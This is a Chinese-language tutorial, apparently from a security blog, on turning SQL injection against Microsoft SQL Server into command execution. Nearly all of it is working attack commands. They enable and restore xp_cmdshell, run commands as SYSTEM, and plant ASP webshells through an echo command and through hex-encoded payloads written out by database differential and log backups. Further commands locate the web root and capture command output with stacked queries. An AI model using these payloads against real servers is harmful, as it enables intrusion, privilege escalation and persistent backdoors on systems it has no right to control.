查看能否使用xpcmd_shell;
select?count(*)?from?master.dbo.sysobjects?where?xtype?=?'x'?and?name?=??'xp_cmdshell'
直接使用xpcmd_shell执行命令:
EXEC?master.dbo.xp_cmdshell?'whoami'
?
发现居然无法使用
查看是否存在xp_cmdshell:
EXEC?sp_configure?'xp_cmdshell',?1;RECONFIGURE;
到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启 xp_cmdshell:
启用:
EXEC?sp_configure?'show?advanced?options',?1
RECONFIGURE;
EXEC?sp_configure?'xp_cmdshell',?1;
RECONFIGURE;
关闭:
exec?sp_configure?'show?advanced?options',?1;
reconfigure;
exec?sp_configure?'xp_cmdshell',?0;
reconfigure;
?
执行命令:
EXEC?master.dbo.xp_cmdshell?'whoami'
?
可以看到这里已经有了system权限 主要找到web路径就可以使用cmd目录创建文件,获取web路径在后面有讲解
exec?master..xp_cmdshell?'echo?^<%@?Page??Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^>?>??c:\\666.asp';
注意:如果xp_cmdshell被删除了,需要自己上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' 虽然是写shell,但是xp_cmdshell更多的是用来提权,具体原因其实思考一下就明白了。。。。
生成备份文件:
backup?database?test?to?disk?=?'c:\bak.bak';--
创建表:
create?table?[dbo].[test]?([cmd]?[image]);
插入一句话:
insert?into?test(cmd)??values(0x3C25657865637574652872657175657374282261222929253E)
再次备份:
backup?database?test?to?disk='C:\567.asp'?WITH?DIFFERENTIAL,FORMAT;--
?
就会生成一个asp一句话
1.?alter?database?test?set?RECOVERY?FULL
2.?create?table?cmd?(a?image)
3.?backup?log?test?to?disk?=?'c:\test'?with?init
4.?insert?into?cmd?(a)?values?(0x3C25657865637574652872657175657374282261222929253E)
5.?backup?log?test?to?disk?=?'c:\test\2.asp'
#LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式
?
由于要写webshell,那么必须知道web的路径
1.通过报错获取网站路径
?
2.使用xp_dirtree获取目录信息:
execute?master..xp_dirtree?'c:'?//列出所有c:\文件和目录,子目录
execute?master..xp_dirtree?'c:',1?//只列c:\文件夹
execute?master..xp_dirtree?'c:',1,1?//列c:\文件夹加文件
#一个一个慢慢找
?
3.通过xpcmd_shell:
exec?master..xp_cmdshell?'for?/r?c:\?%i?in?(i*.aspx)?do?@echo?%i'
?
avatar
回显问题:看到这里,可能有很多小伙伴会不耐烦的说,这是我在软件上执行的sql命令,并非真实注入,该如何回显出信息 其实我们观察这些payload就可以发现,这些命令并非查询语句,并不能与普通的sql语句在一个语句中, 因此想要回显就必须满足,服务器支持堆叠注入
接下来我们的思路就是创建一张临时表来接收命令执行返回的内容,然后我们在通过查临时表来获取数据
创建临时表:
CREATE?TABLE?tmpTable?(tmp1?varchar(8000));
将数据存入表中:
insert?into?tmpTable(tmp1)?exec?master..xp_cmdshell?'ipconfig'
获取数据:
select?*?from?tmpTable
?
?